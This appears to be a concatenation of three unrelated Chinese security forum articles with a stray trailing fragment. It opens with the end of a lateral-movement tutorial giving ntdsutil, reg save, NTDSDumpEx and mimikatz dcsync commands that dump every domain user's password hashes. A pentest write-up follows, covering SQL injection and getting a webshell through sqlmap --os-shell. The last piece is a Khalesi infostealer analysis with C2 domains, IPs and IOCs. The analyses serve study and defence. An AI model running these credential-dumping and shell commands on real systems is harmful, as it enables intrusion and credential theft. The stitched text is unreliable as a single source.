拿下域控后，我们将域的hash导出，可以得到所有用户的密码。而众所周知，Windows密码经过hash后存储，本地存放在hklm\sam以及hklm\system注册表中，域内存放在域控的C:\windows\ntds\ntds.dit中。
方法1：使用卷影拷贝服务提取域控的ntds.dit，之后再将其中的hash导出
ntdsutil snapshot "activate instance ntds" creat quit quit //创建快照
ntdsutil snapshot "mount {快照id}" quit quit //挂载快照
下载到本地
ntdsutil snapshot "unmount {快照id}" quit quit //卸载快照
ntdsutil snapshot "delete {快照id}" quit quit //删除快照
reg save HKLM\SYSTEM c:\windows\temp\sys.hiv //首先通过注册表的方式获取KEY，再用NTDSDumpEx获取所有域用户hash
NTDSDdumpEx.exe -d ntds.dit -o hash.txt -s sys.hiv -h
方法2：利用mimikatz自带的dcsync功能直接读取ntds.dit，并检索出hash值
mimikazt "lsadump::dcsync /domain:lce.com /all /csv"
## 0x04 登录其他主机
可以根据获取到的明文密码尝试登陆其他主机，列举一些工具，可以尝试使用。
## 0x05 结语
关于内网横向的内容就写到这里，写的当然不全面，权当作为入门内网的学习吧，如有问题欢迎交流，感谢阅读。另外，不出意外的话会在下篇文章中写权限维持和免杀的相关内容，就当作是收尾了。 | 社区文章 |
# 记一次Java Servlet实战审计
# 0x00 背景
某次渗透中，遇到个jsp的站，弱密码进到后台以后，却发现功能很少，并不好搞，简单排查后并无突破，然而老大给的要求是尽快搞到shell。。。
一番梳理后，我的想法是：要么通过漏洞拿下后台，要么搞到源码直接白盒开冲。白盒的话很香，对审计能力提升也大，所以可以按下面几步来试试：
* **目录扫描。** 使用`dirbuster`的字典`directory-list-2.3-medium.txt`指定后缀`jsp`来扫，工具就随便用个顺手的，`dirseach`
* **网盘泄露。** 这套系统并不开源，估计厂家发版的时候放了不少在网盘，简单一搜就有结果了。在网盘搜索引擎上，搜到了厂家安装包，但似乎是PE文件，还得安装，且不清楚是否有混淆/加密，暂搁置。
内心OS：这年头——可不敢乱点。
* **Github、gitlab泄露。** 尝试了多个关键词，均无果
* **Fofa找同类型的站。** 这个无需多说，不管是发版的时候没有把备份文件删除，还是运维的疏忽大意，都是很容易被发现的。同时，在fofa上，用`favicon.ico`，或是用title来搜，准确率都相当惊人
那工具方面，首先是选用了`broken5`师傅的<https://github.com/broken5/WebAliveScan>，1024个线程猛冲之后，却并无发现。。。
考虑是不是字典不够牛，接着使用`dirsearch`自带的字典（约17,000条），
# 只要字典大，没有拿不下
python3 dirsearch3.py -e "jsp" -l ip_port.txt -t 50 --plain-text-report=ip_port_DirScan.txt -q
跑目标列表花了一个上午，终于有了收获——`web.rar`，香！
天黑了，打开IDEA！天亮了，关闭IDEA。
我发现`jsp`的代码虽然不难懂，可基础知识不牢，代码审起来简直让人打脑壳，于是有了下面这第一章。
# 0x01 Servlet简介
正常情况下的目录结构，长下面这样
exampleApp
└─images
└─WEB-INF
│ ├─classes # 包含了所有的 Servlet 类和其他类文件【重要】
│ │ └─com
│ │ └─example
│ │
│ └─lib # 项目依赖包的储存位置（.jar文件）
└─web.xml # Servlet的配置文件【重要】
**定义路由**
路由的定义，可以在这两个地方进行：`Servlet注解`、`web.xml`, 配置的时候二选一即可。
## Ⅰ Servlet中的注解
@WebServlet("/Hello")
public class HelloServlet extends HttpServlet{
//处理 GET 方法请求的方法
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
//实现的代码
}
//处理POST方法请求的方法
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
//实现的代码
}
}
Servlet3.0之前，需要在web.xml中配置，才能够使用Servlet，这一块由于路由跟逻辑并不在一块儿实现，比较陌生，因此我们重点看下它。
## Ⅱ 配置文件`web.xml`
Java项目中的`web.xml`，可以配置web的路由，里面的属性很多，咱们主要关心两条：
1. **< servlet-class></servlet-class>**对应类的名字
2. **< url-pattern>，</url-pattern>**路由。为servlet提供一个缺省的URL：`http://host/webAppPre fix/servlet/ServletName`
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>com.example.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/Hello</url-pattern>
</servlet-mapping>
</web-app>
## Ⅲ jsp:useBean标签
同时，在`jsp`代码的开头，看到大量使用`<jsp:useBean...`的代码，见图片中的第2~4行。
这东西，叫`**<jsp:useBean>**` **标签，** 它的定义，整理出来是这样的：
> `<jsp:useBean>`标签可以在JSP中声明一个`JavaBean`，然后使用。
>
> * 声明后，`JavaBean`对象就成了脚本变量，可以通过脚本元素或其他自定义标签来访问。
> * `<jsp:useBean>`标签的语法格式如下：
>
> > <jsp:useBean id="HttpSession" scope="session"
> class="example.HttpSession"/>
>
>
> * **id值** ，可随意定义，只要跟上下文不重复；在习惯上，跟`class`的最后一级相同（`HttpSession`）；
> * **scope值**
> ，可以是`page`，`request`，`session`或`application`，分别对应不同的作用范围，注意不要将【需要经常变动的
> `bean`】 的 `scope`设为 `application` 或 `session`
> * **class值** ，指定对应的`java`类；一般是`WEB-INF/classes/`为起点的一个相对路径（用 **点**
> 作路径分隔符）
而`JavaBean`，个人认为就是Java的一种对象，遵循一些规范，有一些特征。
因此，在审计时，只需先在jsp文件中找敏感函数，根据当前文件中的标签定义，找到定义函数的`.class`，完成漏洞的确认就好了。用IDEA可以很方便地进行查看。
## Ⅳ 取HTTP参数
JSP中取request参数的写法，虽然非常好理解，但对小白来说，也是有一些需要注意的点。
<%@ page contentType="text/html; charset=gb2312" language="java" errorPage="" %>
...
<%
String id;
id = request.getParameter("id");
// 处理中文
String name =new String(request.getParameter("name").getBytes("ISO-8859-1"),"UTF-8");
...
上面这段代码中，使用`request.getParameter`来接受client发送的HTTP参数。但对于id参数，无论你以`GET`、还是`POST`方法来提交的，都能被server接收。
也就是说：`request.getParameter`是兼容`POST/GET`参数滴！有点像PHP中的`$_REQUEST`方法。
同时，对于中文数据，需要对其转码，才能正常显示。
当然，JSP中还有其它取参数的写法，由于并未在本次渗透中出现，也就不再赘述。感兴趣的师傅可以自行了解。
## Ⅴ 文件的包含
此外，在项目中还出现了文件包含的写法
<%@ include file="check.jsp"%>
经过一番学习，这个跟PHP中的文件包含有点像
那看看`check.jsp`的内容吧，
很明显，下面这段代码一出现，就意味着本页面的功能属于后台功能了。
<%@ include file="check.jsp"%>
不过呢，我还有一点没搞懂，又没看到有`exit`函数，为啥include以后的代码，走到`out.print`以后就不再执行了呢？估计跟`servlet`的生命周期有关。有了解的师傅麻烦在评论区抬一手。
OK，基础知识补充得差不多了，下面开冲，尝试完成前台RCE的挖掘。
# 0x02 后台SQLi
轻松找到一处注入，无任何过滤。
不过，考虑到可能需要SQLMAP作自动化利用——删除型的注入点，还是算了。
那么，又重新找到一处拼接表名的注入点。
但问题又来了，这个测试环境的数据库文件，我之前作目录扫描的时候是搞了一份的，找半天咋找不到`task_`开头的数据表呢？？？
没办法，只能FUZZ了，采用`SecLists`里面的`raft-large-words.txt`来进行FUZZ。哈哈，果然没用！
最后，审计呗，找到一处完美注入点，既不伤害数据库，又不需要花里胡哨地FUZZ。SQLMAP跑的结果如下：
注意到是DBA权限，且通过大小写判断目标是Windows环境。
对我来说，一是想到可以用UNC地址进行带外注入（可以，但在联合注入面前，没必要）；
二是写webshell。一般而言，windows通过注入写webshell比linux更难一些，因为路径相对更难猜。不过，由于我手上有系统的部分源码，很快翻找到了web路径，是`C:\example`，尝试使用`--os-shell`写shell，并不成功；一开始还猜测是当前环境更换了盘符，结果26个字母捋了一遍，都不成功。。。
# 0x03 路径泄露 => 后台getshell
天无绝人之路啊。我回想起目标环境的Tomcat似乎很拉跨，并未对报错进行屏蔽，经常露源码出来，嘿嘿！
通过让后台备份功能产生报错，成功获得路径`d:\exam\bak\`
接着通过`SQLMAP --os-shell`参数，也是不费工夫就拿到了SQLMAP的shell，允许上传任意文件了。
# 0x04 前台getshell
话又说回来，目前这个目标是拿下来了，可毕竟是弱密码，难免被诟病“不讲武德”。
于是，全局搜索没有包含`check.jsp`的代码，发现一处前台SQL注入。。。
好的，前台getshell的方式有了，不过要知道目标环境的web路径才行，但考虑到该产品差不多采用的都是销售OEM服务器的形式，基本不会出太大岔子，所以就到此为止吧。
感谢观看，本文主要是简单的代码审计，有很多思路不到位的地方，请各位师傅不吝指点！
# Refs
* <https://www.runoob.com/servlet/servlet-writing-filters.html>
* <https://www.w3cschool.cn/jsp/jsp-javabean.html>
* <https://www.cnblogs.com/sharpest/p/6117629.html> | 社区文章 |
## 前言
在2018年8月底，安全社区发现了一个名为`Khalesi`的信息中心恶意软件。此恶意软件已被安全社区识别为`Kpot`恶意软件的一部分。这些Khalesi变种是使用`Visual
Basic 6（VB6）`编译器编译的，而其他变种是通过常规的可移植可执行（PE）编译器编译的。
本博客文章中出现的`Khalesi`变种大约在同一时间编译。在大多数情况下，所有这些变种的功能都是类似的。执行时，恶意软件与C2域通信，并从受影响系统上的多个源收集各种数据。它窃取Windows和浏览器凭据，信用卡信息，虚拟币，来自消息应用程序（如Skype和Telegram）的数据等。
本报告中提到的两种变种也使用了反反编译技术。此外，两个变种都尝试与相同的C2域通信。据样本分析，这个C2域是在编译两个`Khalesi`变种的同时创建的。但是，这个C2域的存在时间很短暂，已经不再使用。
这篇博文提供了两种`Khalesi`变种的技术分析，包括动态和静态分析，使用VB6编译器编译的变种的简要分析，以及使用常规PE编译器编译的变种的更详细分析。此外，我们将解释具有恶意软件感染后保护功能的`enSilo
Endpoint Security Platform`如何实时阻止恶意操作。
## 技术分析
以下是使用VB6编译器编译的`Khalesi`变种的静态特性：
File Name: finalvr.exe
File SHA1:C37B9B9FEA73C95DE363E8746FF305F4B23F0C28
File Size:786432 bytes
Compile Time: 2018-08-29 15:11:00
执行时，此变种运行`VB6 DLL`文件`MSVBVM60.DLL`并启动其"解包"过程。然后通过从`ntdll`调用`Windows API
KiUserExceptionDispatcher()`来测试它是否正在通过调试器运行：
`Windows API
RtlRaiseException()`从`KiUserExceptionDispatcher`内部调用`con()`并包含以下指令：
调用此函数时，它会导致调试器应用程序使用异常。因此，调试器无法进一步执行此变种，操作系统会生成错误，导致可执行文件终止。同时，此变种通常会绕过异常。在这种情况下，变种将在程序数据文件夹下删除其自身的另一个变种。以下是此变种的静态特征：
File Path:C:\ProgramData
File Name:Kip1.exe
File SHA1: 70DF9DF1FFE20E7EAC54E424C2E76242696904D2
File Size: 786432 bytes
Compile Time: 2018-08-29 15:11:00
此后，为了维持持久性，它将自己添加为计划任务，如下图所示。
此计划任务设置为每1分钟运行一次。这个任务的名字是`Ebrin`。通过使用`schtask.exe`命令实现注册计划任务。
完成此过程后，它将通过修改以下注册表项来更改系统上的Internet设置：
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect
它使用`Internet Explorer`与C2域`seeyouonlineservice[.]com`进行通信，如下图所示。
`enSilo`遇到了以下`Khalesi`变种：
File Name: soft.exe
File SHA1: FCF2918829132CD43890129B8255F1D1533E07AB
File Size: 87040 bytes
Compile Time: 2018-08-28 01:06:58
在执行时，此变种调用`CoInitialize`（稍后将在博客中描述),初始化多个字符串并构造下图中所示的`C2 URL`。
上图中的初始化字符串列表提供了恶意软件的目标和通信方式的绝佳视图。字符串表明这个变种也与我们之前观察到的C2域`seeyouonlineservice[.]com`进行通信。在执行过程中，`Khalesi`使用`FCICreate`创建`cabinet`文件，如下图所示。
据微软称，FCI（文件压缩接口）是一个提供创建CAB文件的库，这减少了文件数据的大小。下表显示了该库的功能：
执行后，`Khalesi`在`％TEMP％`目录中创建多个`.tmp`文件，如下所示：
这些`.tmp`文件包含恶意软件从受害者处收集的所有信息。
然后将命名为`CAB[0-9A-Z]{4}.tmp`的文件（包括快照）收集到作为系统文件创建的cabinet文件中（默认情况下将其隐藏）。
cabinet文件和屏幕截图名为`[0-9]{10}.`。
之后，`Khalesi`记录了运行进程和操作系统（OS）版本的安全标识符。然后稍后发送给C2。
目前，如果安全标识符大于`SECURITY_MENDATORY_UNTRUSTED_RID`，它将跟进之前调用的`CoInitialize`并使用`CoCreateInstance`函数创建COM实例：
检查`rclsid`值后，它将与`Internet Explorer rclsid`匹配，如图10所示。
使用此过程启动以下所示的两个`Internet Explorer`进程：
使用COM技术进行通信有一些优点：
* 它在`iexplore.exe`进程中使用远程主机而不是从恶意软件进程使用，从而模糊了恶意流量。
* 它使逆向工程变得复杂，因为在静态检查恶意软件时没有其进行网络通信的证据。
这一切会使通信更加隐蔽。
启动`Internet
Explorer`后，`Khalesi`会验证与构造的URL的连接(`seeyouonlineservice[.]com`)如果不成功，`Khalesi`将使用以下硬编码IP地址之一作为新C2：
```
* 174[.]138[.]48[.]29
* 46[.]101[.]70[.]183
* 91[.]217[.]137[.]44
* 80[.]233[.]248[.]109
所有这些IP地址都属于东欧的网络托管服务。除了这个通信过程，`Khalesi`还修改了以下注册表项：
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\ZoneMap\UNCAsIntranet
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\ZoneMap\AutoDetect
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\Zones\SecuritySafe
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
```
这样做是为了降低安全设置。
## 反VM & 反反编译 & 防沙箱技术
初始化后，继续执行到主模块。在执行开始时，会调用图中所示的可疑地址。
访问此功能时，IDA无法将其内容显示为可视化界面，如图13所示。
恶意软件创建者使用著名的反反编译技术。该函数使用跳转指令到`+1`字节的位置，这导致系统对完全不同的字节代码进行解释。完成该过程后，`Khalesi`会迭代当前加载的可执行模块，试图找到与调试和分析工具相关的东西，如`api-monitor`，`CAPE sandbox`等。
此后，`Khalesi`将检查系统目录中的以下驱动程序：
1. VBoxGuest.sys
2. VBoxMouse.sys
3. VBoxVideo.sys
如果它发现其中一个驱动程序，执行将崩溃。在返回主模块之前，变种将执行以下步骤：
* 再次循环加载的模块链表，获取`ntdll.dll`内存基地址
* 保存`ExitProcess API`函数基址
* 使用`VirtualProtect`将`ntdll.dll`权限更改为`读取`，`写入`，`执行`
* 在`ExitProcess`调用和返回指令中写入`DbgBreakPoint() ntdll`函数
* 将`ntdll.dll`权限更改回Read，Write
当调试器附加到此`Khalesi`变种正在运行的进程时，将从`ntdll`调用`Windows
API`函数`DbgBreakPoint()`。此函数允许调试器获得控制权，因为调试器可以拦截异常，但这要求功能保持不变。
但由于下图中所示功能的改变，如果调试器连接到恶意软件进程，则`ExitProcess`将强制退出恶意软件进程。
## 窃取目标
这个特殊的Khalesi变种试图使用主模块窃取以下信息：
收集信息后，它将按照之前的描述写入`％TEMP％`目录，如下图所示：
一旦信息收集过程完成，并且通过某些条件（这些将在后面的博客中描述），数据将通过POST请求发送到`C2 URL
[http]://seeyouonlineservice[.]com/regbot.php`如下图所示：
然后再将系统文件属性更改为正常后立即删除该文件。
## C2通讯
恶意软件通过发送以下GET和POST请求与`C＆C`服务器通信：
## 与东欧的联系
在发送被盗信息之前，此`Khalesi`变种使用`GetUserDefaultLangID()`和`GetKeyboardLayoutList()
Windows API`函数来检查受害者的东欧键盘布局和默认语言。下图显示了此过程：
如果检测到任何东欧键盘布局和默认语言，则此`Khalesi`变种不会将被盗数据发送到C2域。
## 关于C2域名
不幸的是，C2域名`seeyouonlineservice[.]com`很短暂。它是在2018年8月创建并注册的，如图所示，大约在编译`Khalesi`变种的时候。但是，该域名在撰写这篇文章的时候已停用。
## 其他变种
以下hash属于发现的类似`Khalesi infostealer`的变种：
File Name:soft.exe
File SHA1: 6ace6f3631ef8773f0af2233595ee5f8d662134c
File Size: 221696 bytes
Compile Time: 2018-08-29 22:58:44
File Name: soft.exe
File SHA1: 7dc34dc7936b257830477353f681bdcb6ba3313d
File Size: 87040 bytes
Compile Time: 2018-08-27 22:06:58
File Name: soft.exe
File SHA1: b349e41aa4303e2ec503c66da5e56791b123d11f
File Size: 86528 bytes
Compile Time: 2018-08-29 22:58:44
这些变种类似于使用常规PE编译器编译的变种。这些变种具有相同数量的`Windows
API`函数，并且大约在同一时间编译。此外，这些变种似乎也与`seeyouonlineservice[.]com`C2域进行通信。
## enSilo防止Khalesi Infostealer恶意软件攻击
下图说明了`enSilo`安全平台怎样在任何攻击阶段跟踪此恶意软件的整个威胁链。
此外，下图说明了`enSilo`安全平台为什么可以在任何攻击阶段跟踪此恶意软件的整个威胁链。
这些图显示了`enSilo`如何使用机器学习算法自动识别恶意攻击。因此，`enSilo`可防止在执行此恶意软件后造成的任何损害。并且，整个检测到防止的过程是实时完成的。最后，`enSilo`还能够在执行之前检测到该恶意软件。
## IOC
File Name: soft.exe
File SHA1: FCF2918829132CD43890129B8255F1D1533E07AB
File Size: 87040 bytes
Compile Time: 2018-08-28 01:06:58
File Name: finalvr.exe
File SHA1: C37B9B9FEA73C95DE363E8746FF305F4B23F0C28
File Size: 786432 bytes
Compile Time: 2018-08-29 15:11:00
File Name: Kip1.exe
File SHA1: 70DF9DF1FFE20E7EAC54E424C2E76242696904D2
File Size: 786432 bytes
Compile Time: 2018-08-29 15:11:00
File Name: go.exe
File SHA1: C450634B90CCEAC6F7393D38FEA10453A6010DFE
File Size: 471120 bytes
Compile Time: 2007-10-06 14:45:00
File Name: crsoft.exe
File SHA1: 9DCADA7455205B44B5FE69F765CAECCA4F14403C
File Size: 146432 bytes
Compile Time: 2018-08-29 15:24:39
用于文件位置的正则匹配如下：
%APPDATA%\CAB[0-9A-Z]{4}.tmp
%APPDATA%\[0-9]{10}
## Network IOCs
seeyouonlineservice[.]com
botsphere[.]biz
该网站`botsphere[.]biz`在我们分析恶意软件的时候，仍在为恶意软件工作。
## IP地址
174[.]138[.]48[.]29
46[.]101[.]70[.]183
91[.]217[.]137[.]44
80[.]233[.]248[.]109
101[.]99[.]70[.]55
77[.]222[.]40[.]43
这些IP地址都属于东欧的网络托管服务。
原文地址:https://blog.ensilo.com/game-of-trojans-dissecting-khalesi-infostealer-malware | 社区文章 |
Subsets and Splits